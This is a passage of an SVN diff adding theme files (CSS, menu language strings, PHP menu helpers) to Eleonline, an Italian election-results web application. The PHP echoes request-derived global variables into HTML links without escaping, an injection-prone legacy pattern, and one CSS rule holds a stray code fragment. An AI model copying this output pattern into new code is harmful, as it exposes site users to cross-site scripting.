+  background-color: #C9F4F3;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 span.w3c {
+  font-weight: bold;
+  padding: 0 0.4em;
+  background-color: #FFFFCC;
+  color: #0C479D;
+}
+
+.w3cbutton3 span.spec {
+  color: #333333;
+}
+
+.w3cbutton3 span.specRed {
+  color: #FF0000;
+}
+
+# facebook box
+
Index: /trunk/elezioni/trunk/client/temi/facebook/styledefault.css
===================================================================
--- /trunk/elezioni/trunk/client/temi/facebook/styledefault.css	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/facebook/styledefault.css	(revision 44)
@@ -0,0 +1,376 @@
+/**************** 
+style css for eleonline
+http://www.elenoline.it
+****************/
+
+body , html {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	font-style: normal;
+	font-weight: normal;
+	margin-right: 0;
+	margin-left: 0;
+	margin-top: 0;
+	text-align: center;
+	background-color: #FFFFFF;
+	color: #333333;
+}
+
+a:link {
+	text-decoration: none;
+	color: #660033;
+}
+a:visited {
+	text-decoration: none;
+	color: #660000;
+}
+a:hover {
+	color: #CC2222;
+}
+
+/* contenitore */
+
+div#container{
+    width: 750px;
+    margin: 0px auto;   /*centra negli altri browsers*/
+    text-align: left;   /*ripristina l' allineamento*/
+    }
+table {
+	margin-right: auto;
+	margin-left: auto;
+	text-align: left;
+	margin-top: 0px;
+	
+}
+td {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	margin-top: 0px;
+	margin: 0;
+}
+
+hr {
+	color: #000000;
+	background-color: #FFFFFF;
+	border-bottom: 1px dotted #CCCCCC;
+}
+form {
+	
+	font-size: 12px;
+	color: #000066;
+	text-decoration: none;
+	margin-right: 0px;
+	margin-left: 0px;
+	margin-top: 0px;
+	margin-bottom: 0px;
+	width: 100%;
+}
+p {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	padding-right: 8px;
+	padding-bottom: 0px;
+	padding-left: 8px;
+	padding-top: 0px;
+	margin: 2px 2px 4px;
+}
+h1 {
+	font-size: 16px;
+	font-weight: bold;
+	color: #222266;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #222266;
+	margin-top: 6px;
+	margin-bottom: 8px;
+	padding-right: 0px;
+	padding-left: 0px;
+}
+h2 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #660000;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 9px;
+	margin-bottom: 2px;
+	padding-right: 1px;
+	padding-left: 4px;
+}
+h4 {
+	font-size: 14px;
+	color: #003366;
+	text-decoration: none;
+	background-position: center;
+	bottom: 9px;
+	margin: 20px;
+	text-align: center;
+	border: 1px dotted #666666;
+	padding: 2px;
+	width: auto;
+	background-color: #EEEFEF;
+	font-variant: small-caps;
+}
+h5 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 0px;
+	margin-bottom: 4px;
+	padding-right: 1px;
+	padding-left: 4px;
+	background-color: #EFEFEF;
+	background-position: center;
+	text-align: center;
+}
+h6 {
+	font-size: 12px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-style: dotted;
+	padding-left: 4px;
+	background-position: center;
+	border-bottom-color: #EEEEEE;
+	border-bottom-width: 1px;
+	padding-top: 3px;
+	padding-right: 2px;
+	padding-bottom: 0px;
+	bottom: 9px;
+	margin-top: 1px;
+	margin-bottom: 3px;
+}
+
+/* classe tratteggiata usata in molti td */
+
+
+.modulo {
+	text-decoration: none;
+	border: 1px solid #666699;
+	font-size: 10px;
+}
+
+.modulo-button {
+	color: #663366;
+	text-decoration: none;
+	background-color: #FFFFEE;
+	border: 1px solid #660033;
+	width: 50%;
+	text-align: center;
+	font-size: 10px;
+	padding: 3px;
+}
+
+
+.sitebar {
+	background-image: url(images/site-background.gif);
+	font-size: 12px;
+	border: none;
+	color: #330000;
+}
+
+
+
+/* tavole */
+.table-main {
+	border: 1px solid #DEDEDC;
+	font-size: 12px;
+	background-position: center top;
+	padding: 0px;
+	color: #666666;
+	text-align:center;
+	width: 762px;
+}
+/* usate per blocco */
+
+.td-149 {
+	float: right;
+	margin: 0px 0 0 0px;
+	width: 149px;	
+	border: none;
+	background-color: #d2d2d2;
+	padding: 0px;
+}
+
+/* numero e simbolo liste */
+
+.td-5 {
+	
+	margin: 0px 0 0 0px;
+	width: 5%;	
+	border: none;
+	background-color: #d2d2d2;
+	padding: 0px;
+        FONT-SIZE: 12px; 
+        FONT-FAMILY: Verdana, Helvetica;
+}	
+
+	
+/* sinistra */
+div#sx{
+    width: 610px;
+    float: left;
+    text-align: left;   
+    }
+/* destra */
+div#dx{
+    width: 149px;
+    float: right;
+    text-align: left;   
+    }
+
+
+/* flash */
+div#flash{
+    width: 410px;
+    float: left;
+    text-align: left;   
+    }
+
+
+
+
+
+
+/* immagini bordo */
+
+.image {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+}		
+
+.stemma {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:50px;
+	height:50px;
+}		
+
+
+.nobordo {
+border: 0px;
+text-align: center;
+vertical-align: middle;
+}
+
+.bordo {
+border: 1px solid #ff0000;
+text-align: left;
+vertical-align: middle;
+
+}
+/******************** font e backcolor******************************/
+.blu 	{
+	background: none;
+	font-weight: bold; 
+	color: #003366; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+
+.red 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+.redbig 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 16px; 
+	font-family: Verdana, Helvetica
+}
+
+.bgw	{
+	background: #ffffff; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+}
+
+.bggray 	{
+	background: #d2d2d2; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+}
+
+.bggray2 	{
+	background: #EFEFEF; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+	}
+
+.bggray3 	{
+	background: #EFEFEF; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+	}
+
+.normale {
+	background: none; 
+	color: #000000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+}
+
+/**********************************************************************BOTTONI W3C*****************************************************/
+
+.w3cbutton3 {
+  margin: 0px 0px 0px 5px;
+  width: 95px;
+  border: 1px solid #6A6A6A;
+  font-family: helvetica,arial,sans-serif;
+  font-size: 10px;
+  float: left;
+}
+
+.w3cbutton3 a {
+  display: block;
+  width: 100%;
+}
+
+.w3cbutton3 a:link, .w3cbutton3 a:visited {
+  background-color: #8CC8C7;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 a:hover {
+  background-color: #C9F4F3;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 span.w3c {
+  font-weight: bold;
+  padding: 0 0.4em;
+  background-color: #FFFFCC;
+  color: #0C479D;
+}
+
+.w3cbutton3 span.spec {
+  color: #333333;
+}
+
+.w3cbutton3 span.specRed {
+  color: #FF0000;
+}
+
+
Index: /trunk/elezioni/trunk/client/temi/facebook/tema.php
===================================================================
--- /trunk/elezioni/trunk/client/temi/facebook/tema.php	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/facebook/tema.php	(revision 44)
@@ -0,0 +1,53 @@
+<?php
+
+if (!defined('MODULE_FILE')) {
+    die ("Non puoi accedere al file direttamente...");
+}
+
+global $id_circ;
+
+	if (! isset($content)) $content="";
+	if (! isset($tlist)) $tlist="";
+	
+	$content .="<li><a href=\"#\"><strong>&nbsp; &nbsp;&nbsp;"._TEMA."</strong></a>
+	    <ul>";
+	
+	
+        
+	$path = "temi/";
+	$handle=opendir($path);
+    	while ($file = readdir($handle)) {
+
+			if ( (preg_match('/^([_0-9a-zA-Z]+)([_0-9a-zA-Z]{3})$/',$file)) ) {
+
+		   $tlist .= "$file ";
+		}
+   	}
+
+    	closedir($handle);
+    	$tlist = explode(" ", $tlist);
+    	sort($tlist);
+    	for ($i=0; $i < sizeof($tlist); $i++) {
+		if(($tlist[$i]!="") && ($tlist[$i]!="language")) {
+	    		if ($tema == $tlist[$i]) {
+				$sel = "selected";
+	    		} else {
+				$sel = "";
+	    		}
+
+				$files=ucfirst($tlist[$i]);
+	$content .= "<li><a href=\"modules.php?name=Elezioni&amp;id_comune=$id_comune&amp;id_cons_gen=$id_cons_gen&amp;op=$op&amp;id_circ=$id_circ&amp;tema=$tlist[$i]\">$files</a></li>"; 
+
+
+
+	    	
+
+		}
+    	}
+	
+    $content .="</ul></li>";
+
+  echo $content;
+
+     
+?>
Index: /trunk/elezioni/trunk/client/temi/inc/button.php
===================================================================
--- /trunk/elezioni/trunk/client/temi/inc/button.php	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/inc/button.php	(revision 44)
@@ -0,0 +1,64 @@
+<?php
+# bottoni
+
+# linguaggio x demo
+
+function language(){
+global $lang,$name,$op,$file,$filelang,$id_comune,$op,$id_cons,$id_cons_gen;
+$filename=$filelang;
+// linguaggio
+
+$menulist='';
+// scelta linguaggio
+    	$langdir = dir("modules/Elezioni/language");
+    	while($func=$langdir->read()) {
+		if(substr($func, 0, 5) == "lang-") {
+	    	$menulist .= "$func ";
+		}
+    	}
+    	closedir($langdir->handle);
+    	$menulist = explode(" ", $menulist);
+    	sort($menulist);
+    	for ($i=0; $i < sizeof($menulist); $i++) {
+		if($menulist[$i]!="") {
+	    		$tl = preg_replace("/lang-/","",$menulist[$i]);
+	    		$tl = preg_replace("/.php/","",$tl);
+	    		$altlang = ucfirst($tl);
+                        
+			if ($lang==$tl) $bordo="class=\"bordo\"";else $bordo="class=\"nobordo\"";
+	    		echo "<a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;newl=$tl\"><img $bordo src=\"modules/Elezioni/images/$tl.gif\"  alt=\"$altlang\" title=\"$altlang\" /></a> ";
+		}
+    	}
+
+}
+
+# flash x demo
+function flash(){
+global $flash,$name,$id_comune,$op,$id_cons,$id_cons_gen;
+
+if ($flash=='1'){ 
+     echo "<a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;flash=0\"><img class=\"nobordo\" src=\"modules/Elezioni/images/flashno.gif\" alt=\"NoFlash\" title=\"NoFlash\" /></a>";
+
+}else{
+
+echo "<a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;flash=1\"><img class=\"nobordo\" src=\"modules/Elezioni/images/flashyes.gif\" alt=\"YesFlash\" title=\"YesFlash\" /></a>";
+
+}
+
+}
+ 
+# blocco no
+function noblocco(){
+global $blocco,$name,$id_comune,$op,$id_cons,$id_cons_gen;
+
+if ($blocco=='1'){ 
+     	echo "<a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;block=0\"><img class=\"nobordo\" src=\"modules/Elezioni/images/close.gif\" alt=\"NoBlocco\" title=\"NoBlocco\" /></a>";
+
+}else{
+
+	echo "<a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;block=1\"><img class=\"nobordo\" src=\"modules/Elezioni/images/open.gif\" alt=\"YesBlocco\" title=\"YesBlocco\" /></a>";
+
+}
+
+}
+?>
Index: /trunk/elezioni/trunk/client/temi/index.html
===================================================================
--- /trunk/elezioni/trunk/client/temi/index.html	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/index.html	(revision 44)
@@ -0,0 +1,1 @@
+ 
Index: /trunk/elezioni/trunk/client/temi/language/lang_english_menu.php
===================================================================
--- /trunk/elezioni/trunk/client/temi/language/lang_english_menu.php	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/language/lang_english_menu.php	(revision 44)
@@ -0,0 +1,32 @@
+<?php
+
+
+
+# blocchi
+$home="Home Page";
+$software="Software";
+$down="Download";
+$demo= "Demo on line";
+$manuali_op="Operating Handbook";
+$manuali="Manuals";
+$about="About";
+$contatti="Contact";
+$newsletter="NewsLetter";
+$links="Links";
+$chi="About";
+$altro="Services";
+
+
+?>
+
+
+
+
+
+
+
+
+
+
+
+
Index: /trunk/elezioni/trunk/client/temi/language/lang_italian_menu.php
===================================================================
--- /trunk/elezioni/trunk/client/temi/language/lang_italian_menu.php	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/language/lang_italian_menu.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+
+
+
+# blocchi
+$home="Home Page";
+$software="Software";
+$down="Download";
+$demo= "Demo on line";
+$manuali_op="Manuale Operatore";
+$manuali="Manuali";
+$about="About";
+$contatti="Contatti";
+$newsletter="NewsLetter";
+$links="Links";
+$chi="Gli Autori";
+$altro="Servizi";
+
+?>
+
+
+
+
+
+
+
+
+
+
+
+
Index: /trunk/elezioni/trunk/client/temi/stylized/index.php
===================================================================
--- /trunk/elezioni/trunk/client/temi/stylized/index.php	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/stylized/index.php	(revision 44)
@@ -0,0 +1,77 @@
+<?php
+# stylizzed
+
+include_once("modules/Elezioni/funzioni.php");
+include_once("temi/inc/button.php");
+
+
+########## no blocco x grafici e risultati
+if($blocco!=1 || $param['op']=="graf_gruppo" || $param['op']=="gruppo_circo" || $param['op']=="gruppo_sezione"
+|| $param['op']=="lista_circo" || $param['op']=="lista_sezione"  || $param['op']=="candidato_circo" || $param['op']=="candidato_sezione"
+)$blocco=''; else $blocco=1;
+
+
+function testata(){
+
+
+global $file,$blocco;
+
+echo "<div align=\"right\">";
+/* icone linguaggio */
+language();
+/* icona flash */
+flash();
+noblocco();
+echo "</div>";
+
+
+
+// logo
+echo ' <div id="logo">
+        <h1><a href="http://www.eleonline.it">eleonline</a></h1>
+	<h2>consultazioni elettorali on line + <a href="http://www.linuxap.it"> by l.apolito e r.gigli</a>
+</h2>
+</div>
+';
+
+// menu
+echo '<div id="menu">';
+	if ($file=="index") menu();
+echo "</div>";
+
+echo '
+	<div id="page">';
+
+echo "<table cellpadding=\"0\" cellspacing=\"0\"><tr>";
+
+	 
+          	$check=check_block("dx"); // check exist box
+		
+	if ($blocco=='1' && $check!=0){
+		echo "<td valign=\"top\" class=\"sidebar\">";
+    		block("dx");
+		echo "</td><td>&nbsp;&nbsp;</td><td valign=\"top\">"; 
+		
+	}else { 
+		echo "<td valign=\"top\">";
+	}
+		
+}
+
+function piede(){
+	global $blocco;
+	$check=check_block("sx"); // check exist box
+	if ($blocco=='1' && $check!=0){
+		echo "</td><td>&nbsp;&nbsp;</td><td valign=\"top\" class=\"sidebar\">";
+    		block("sx");
+		
+	}
+	echo "</td></tr></table>";
+        echo "</div>"; #container
+
+}		
+		
+
+
+
+?>
Index: /trunk/elezioni/trunk/client/temi/stylized/style.css
===================================================================
--- /trunk/elezioni/trunk/client/temi/stylized/style.css	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/stylized/style.css	(revision 44)
@@ -0,0 +1,588 @@
+/**************** 
+style css for eleonline
+http://www.eleonline.it
+
+l.apolito r.gigli
+****************/
+
+/* inizio style stylized */
+* {
+	margin: 0;
+	padding: 0;
+}
+
+body {
+	
+	font-family: "Trebuchet MS", Arial, Helvetica, sans-serif;
+	font-size: 13px;
+	color: #4A5157;
+}
+
+
+/* Logo */
+
+#logo {
+	width: 874px;
+	height: 130px;
+	margin: 0 auto;
+}
+
+#logo h1 {
+	float: left;
+	padding: 50px 37px 0 0;
+	height: 54px;
+	background: url(images/img02.gif) no-repeat 100% 53px;
+	font-size: 38px;
+	font-weight: normal;
+	letter-spacing: -2px;
+}
+
+#logo h2 {
+	float: right;
+	padding: 78px 0 0 0;
+	text-transform: lowercase;
+	font-weight: normal;
+	font-size: 16px;
+	color: #FFFFFF;
+}
+
+#logo a {
+	text-decoration: none;
+	color: #FFFFFF;
+}
+
+#bg {
+	background: url(images/img04.gif) no-repeat center top;
+}
+
+#page {
+	width: 950px;
+	margin: 0 auto;
+}
+
+/* Menu */
+
+#menu {
+	width: 1019px;
+	height: 50px;
+	margin: 0 auto;
+}
+
+#menu ul {
+	margin: 0;
+	padding: 10px 0 0 0;
+	list-style: none;
+	line-height: normal;
+}
+
+#menu li {
+	display: inline;
+}
+
+#menu a {
+	display: block;
+	float: left;
+	height: 25px;
+	margin: 0 10px;
+	padding: 5px 20px 0 20px;
+	text-transform: lowercase;
+	text-decoration: none;
+	font-size: 14px;
+	font-weight: bold;
+	color: #FFFFFF;
+}
+
+#menu a:hover {
+	text-decoration: underline;
+}
+
+#menu .active a {
+	background: #EC0000 url(images/img03.gif) repeat-x left bottom;
+}
+
+
+#content {
+	float: left;
+	width: 700px;
+	padding: 0 0 0 24px;
+}
+
+
+#content .content {
+	padding-left: 32px;
+}
+
+
+/* 
+fine stylized
+inizio eleonline
+*/
+
+
+
+
+
+
+.logoleft{
+background-image:url(images/logo_left.jpg); background-repeat:no-repeat;
+width:12px;
+height:78px;
+}
+.logoright{
+background-image:url(images/logo_right.jpg); background-repeat:no-repeat;
+width:12px;
+height:78px;
+}
+.logo{
+background-image:url(images/logo_bg.jpg); background-repeat:repeat-x;
+	text-transform: uppercase;
+	font-size:28px;
+	color:#88AED6;
+	font-weight:bold;
+	text-decoration:none;
+	width:250px;
+}
+.main{
+background-color:#A8C4E1;
+}
+.tag {
+	margin: 0;
+	padding:45px 20px 10px 10px;
+	text-transform: uppercase;
+	font-size:16px;
+	font-weight:bold;
+	color:#ffffff;
+    text-decoration:none;
+}
+a{
+color:#000000;
+
+text-decoration:none;
+}
+a:hover{
+color:#dce9f9;
+text-decoration:none;
+}
+
+/* usate per blocco */
+
+.sidebar{
+	
+	
+	margin-top:0px;
+	/*margin: 0px 0 0 0px;*/
+	width: 200px;	
+	border: none;
+	
+	/*background-color: #d2d2d2;*/
+	padding: 0px;
+}
+.sidebar a{
+color:#5D81A6;
+}
+.sidebar a:hover{
+color:#FFFFFF;
+}
+.sidebar a:visited{
+color:#000000;
+}
+.welcome
+{font-size:35px;
+color:#686868;
+}
+/* contenitore */
+
+div#container{
+    width: 900px;
+    margin: 0px auto;   /*centra negli altri browsers*/
+    text-align: left;   /*ripristina l' allineamento*/
+    }
+table {
+	margin-right: auto;
+	margin-left: auto;
+	text-align: left;
+	margin-top: 0px;
+	
+	
+	
+}
+td {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	margin-top: 0px;
+	margin: 0;
+}
+
+hr {
+	color: #000000;
+	background-color: #FFFFFF;
+	border-bottom: 1px dotted #CCCCCC;
+}
+form {
+	
+	font-size: 12px;
+	color: #000066;
+	text-decoration: none;
+	margin-right: 0px;
+	margin-left: 0px;
+	margin-top: 0px;
+	margin-bottom: 0px;
+	width: 100%;
+}
+p {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	padding-right: 8px;
+	padding-bottom: 0px;
+	padding-left: 8px;
+	padding-top: 0px;
+	margin: 2px 2px 4px;
+}
+h1 {
+	font-size: 16px;
+	font-weight: bold;
+	color: #000000;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #222266;
+	margin-top: 6px;
+	margin-bottom: 8px;
+	padding-right: 0px;
+	padding-left: 0px;
+}
+h2 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #5D81A6;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 9px;
+	margin-bottom: 2px;
+	padding-right: 1px;
+	padding-left: 4px;
+}
+h4 {
+	font-size: 14px;
+	color: #003366;
+	text-decoration: none;
+	background-position: center;
+	bottom: 9px;
+	margin: 20px;
+	text-align: center;
+	border: 1px dotted #666666;
+	padding: 2px;
+	width: auto;
+	background-color: #EEEFEF;
+	font-variant: small-caps;
+}
+h5 {
+	height: 27px;
+	padding: 6px 0 0 27px;
+	background: #ffffff url(images/img05.gif) no-repeat;
+        background-position:center; 
+	text-transform: lowercase;
+	font-size: 12px;
+	color: #FFFFFF;
+/*
+	font-size: 14px;
+	font-weight: bold;
+	color: #ffffff;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 0px;
+	margin-bottom: 4px;
+	padding-right: 1px;
+	padding-left: 4px;
+	background-color: #A8C4E1;
+	background-position: center;
+	text-align: center;
+*/
+}
+h6 {
+	padding: 12px;
+	background: url(images/img06.gif) repeat-x;
+	font-size: 12px;
+/*
+
+	font-size: 12px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-style: dotted;
+	padding-left: 4px;
+	background-position: center;
+	border-bottom-color: #EEEEEE;
+	border-bottom-width: 1px;
+	padding-top: 3px;
+	padding-right: 2px;
+	padding-bottom: 0px;
+	bottom: 9px;
+	margin-top: 1px;
+	margin-bottom: 3px;
+*/
+}
+
+/* classe tratteggiata usata in molti td */
+
+
+.modulo {
+	text-decoration: none;
+	border: 1px solid #666699;
+	font-size: 10px;
+}
+
+.modulo-button {
+	color: #663366;
+	text-decoration: none;
+	background-color: #FFFFEE;
+	border: 1px solid #660033;
+	width: 50%;
+	text-align: center;
+	font-size: 10px;
+	padding: 3px;
+}
+
+
+.sitebar {
+	background-image:url(images/box_bg.jpg); background-repeat:repeat-x;
+	font-size: 12px;
+	border: none;
+	color: #ffffff;
+}
+
+
+
+/* tavole */
+.table-main {
+	border: 1px solid #DEDEDC;
+	font-size: 12px;
+	background-position: center top;
+	padding: 0px;
+	color: #000000;
+	text-align:center;
+	width: 900px;
+	margin:0px auto;
+	
+}
+
+
+/* numero e simbolo liste */
+
+.td-5 {
+	
+	margin: 0px 0 0 0px;
+	width: 5%;	
+	border: none;
+        background-color:#ff0000;
+	color:#ffffff;
+	/*background-color: #d2d2d2;*/
+	padding: 0px;
+        FONT-SIZE: 12px; 
+        FONT-FAMILY: Verdana, Helvetica;
+}	
+.td-130c {
+	float: right;
+	text-align:left;
+	margin: 0px 0 0 1px;
+	width: 130px;	
+	border: none;
+	
+	padding: 0px;
+}		
+	
+/* sinistra */
+div#sx{
+    width: 500px;
+    float: left;
+    text-align: left;   
+    }
+/* destra */
+div#dx{
+    width: 149px;
+    float: right;
+    text-align: left;   
+    }
+
+
+/* flash */
+div#flash{
+    width: 410px;
+    float: left;
+    text-align: left;   
+    }
+
+
+
+
+
+
+/* immagini bordo */
+
+.image {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+}		
+
+.stemma {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:50px;
+	height:50px;
+}		
+
+.stemmapic {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:30px;
+	height:30px;
+}		
+
+
+.noblocco {
+border: 0px;
+margin-right:0px;
+margin-left:130px;
+text-align: right;
+vertical-align: middle;
+width:18px;
+height:18px;
+}
+
+
+.nobordo {
+border: 0px;
+text-align: center;
+vertical-align: middle;
+}
+
+.bordo {
+border: 1px solid #ff0000;
+text-align: left;
+vertical-align: middle;
+
+}
+/******************** font e backcolor******************************/
+.blu 	{
+	background: none;
+	font-weight: bold; 
+	color: #003366; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+/*diventa grigio qui */
+
+.red 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+.redbig 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 16px; 
+	font-family: Verdana, Helvetica
+}
+
+.bgw	{
+	background: #ffffff; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+}
+/* diventa rosso */
+
+.bggray 	{
+	background-color:#ff0000;
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+	color: #ffffff;
+}
+
+.bggray2 	{
+	background: #EAEAEA; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+	}
+
+.bggray3 	{
+	background: #ffffff;  
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+	}
+
+.normale {
+	background: none; 
+	color: #000000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+}
+.piccolo {
+	BACKGROUND: none; 
+	COLOR: #cccccc; 
+	FONT-SIZE: 10px; 
+	FONT-WEIGHT: normal; 
+	FONT-FAMILY: Verdana, Helvetica; 
+	TEXT-DECORATION: none}
+/**********************************************************************BOTTONI W3C*****************************************************/
+
+.w3cbutton3 {
+background-image:url(images/box_bg.jpg); background-repeat:repeat-x;
+  margin: 0px 0px 0px 5px;
+  width: 95px;
+  border: 1px solid #6A6A6A;<div class=\"dx\">";
+  font-family: helvetica,arial,sans-serif;
+  font-size: 10px;
+  float: left;
+}
+
+.w3cbutton3 a {
+  display: block;
+  width: 100%;
+}
+
+.w3cbutton3 a:link, .w3cbutton3 a:visited {
+  background-color: #8CC8C7;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 a:hover {
+  background-color: #C9F4F3;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 span.w3c {
+  font-weight: bold;
+  padding: 0 0.4em;
+  background-color: #FFFFCC;
+  color: #0C479D;
+}
+
+.w3cbutton3 span.spec {
+  color: #333333;
+}
+
+.w3cbutton3 span.specRed {
+  color: #FF0000;
+}
+
+
Index: /trunk/elezioni/trunk/client/temi/tour/button.php
===================================================================
--- /trunk/elezioni/trunk/client/temi/tour/button.php	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/tour/button.php	(revision 44)
@@ -0,0 +1,111 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Luciano Apolito & Roberto Gigli                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+# linguaggio x demo
+###########################
+if(!function_exists("language")){
+
+function language(){
+###########################
+
+global $lang,$name,$op,$file,$filelang,$id_comune,$op,$id_cons,$id_cons_gen;
+$filename=$filelang;
+// linguaggio
+
+$menulist='';
+// scelta linguaggio
+    	$langdir = dir("modules/Elezioni/language");
+    	while($func=$langdir->read()) {
+		if(substr($func, 0, 5) == "lang-") {
+	    	$menulist .= "$func ";
+		}
+    	}
+    	closedir($langdir->handle);
+    	$menulist = explode(" ", $menulist);
+    	sort($menulist);
+    	for ($i=0; $i < sizeof($menulist); $i++) {
+		if($menulist[$i]!="") {
+	    		$tl = preg_replace("/lang-/","",$menulist[$i]);
+	    		$tl = preg_replace("/.php/","",$tl);
+	    		$altlang = ucfirst($tl);
+                        
+			if ($lang==$tl) $bordo="class=\"bordo\"";else $bordo="class=\"nobordo\"";
+	    		echo "<a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;newl=$tl\"><img $bordo src=\"modules/Elezioni/images/$tl.gif\"  alt=\"$altlang\" title=\"$altlang\" /></a> ";
+		}
+    	}
+
+}
+}
+# flash x demo
+
+###############################
+if(!function_exists("flash")){
+function flash(){
+###############################
+global $flash,$name,$id_comune,$op,$id_cons,$id_cons_gen;
+
+if ($flash=='1'){ 
+     echo "<a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;flash=0\"><img class=\"nobordo\" src=\"modules/Elezioni/images/flashno.gif\" alt=\"NoFlash\" title=\"NoFlash\" /></a>";
+
+}else{
+
+echo "<a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;flash=1\"><img class=\"nobordo\" src=\"modules/Elezioni/images/flashyes.gif\" alt=\"YesFlash\" title=\"YesFlash\" /></a>";
+
+}
+
+}
+} 
+ 
+# blocco no
+############################
+if(!function_exists("noblocco")){
+function noblocco(){
+############################
+global $blocco,$name,$id_comune,$op,$id_cons,$id_cons_gen;
+
+if ($blocco=='1'){ 
+     	echo "<a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;block=0\"><img class=\"nobordo\" src=\"modules/Elezioni/images/close.gif\" alt=\"NoBlocco\" title=\"NoBlocco\" /></a>";
+
+}else{
+
+	echo "<a href=\"modules.php?name=$name&amp;op=$op&amp;id_comune=$id_comune&amp;id_cons=$id_cons&amp;id_cons_gen=$id_cons_gen&amp;block=1\"><img class=\"nobordo\" src=\"modules/Elezioni/images/open.gif\" alt=\"YesBlocco\" title=\"YesBlocco\" /></a>";
+
+}
+
+}
+}
+
+# tour
+
+
+############################
+if(!function_exists("tour")){ 
+function tour(){
+############################
+global $tour,$name,$id_comune,$op,$id_cons,$id_cons_gen;
+
+if ($tour=='1'){ 
+ 
